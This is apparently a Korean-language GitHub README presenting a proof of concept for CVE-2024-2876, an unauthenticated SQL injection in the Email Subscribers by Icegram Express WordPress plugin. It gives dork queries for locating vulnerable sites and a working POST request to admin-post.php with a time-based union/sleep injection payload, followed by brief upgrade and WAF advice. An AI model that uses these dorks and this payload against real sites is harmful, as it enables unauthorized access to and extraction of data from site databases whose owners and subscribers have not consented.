babydessy/cve-2024-2876CVE-2024-2876에 대한 개념 증명으로, Email Subscribers WordPress 플러그인의 인증되지 않은 SQL 인젝션 취약점이며, dork 쿼리와 작동하는 익스플로잇 요청을 포함합니다.
#취약점 설명: WordPress 및 WooCommerce용 이메일 마케팅, 뉴스레터, 자동화 플러그인인 Email Subscribers by Icegram Express는 5.7.14 버전까지(포함) 모든 버전에서 'IG_ES_Subscribers_Query' 클래스의 'run' 함수를 통해 SQL Injection에 취약합니다. 이는 사용자가 제공한 파라미터에 대한 불충분한 이스케이프 처리와 기존 SQL 쿼리에 대한 충분한 준비 부족으로 인해 발생합니다. 이를 통해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 삽입하여 데이터베이스에서 민감한 정보를 추출할 수 있습니다.
#Dork: 1- FOFA : body="/wp-content/plugins/email-subscribers/" 2- publicwww : "/wp-content/plugins/email-subscribers/"
#POC: POST /wp-admin/admin-post.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111
#Youtube POC: https://www.youtube.com/watch?v=eDEGt_yXyvE
#해결 방법은? 5.7.14까지의 모든 버전에서 CVE가 탐지되었으므로, 사용자는 Email Subscribers by Icegram Express 플러그인을 5.7.15 버전(또는 최신 릴리스 5.7.19)으로 업그레이드할 것을 권장합니다. Patchstack 사용자는 취약한 플러그인에 대해 자동 업데이트를 활성화할 수 있는 옵션이 있습니다. 추가 보호 계층으로 WAF/WAAP 솔루션을 구현하십시오. 이러한 솔루션의 장점은 취약점이 새롭고 알려지지 않은 경우(0-day)에도 익스플로잇 패턴과 기법을 탐지하여 공격을 방지할 수 있다는 것입니다.
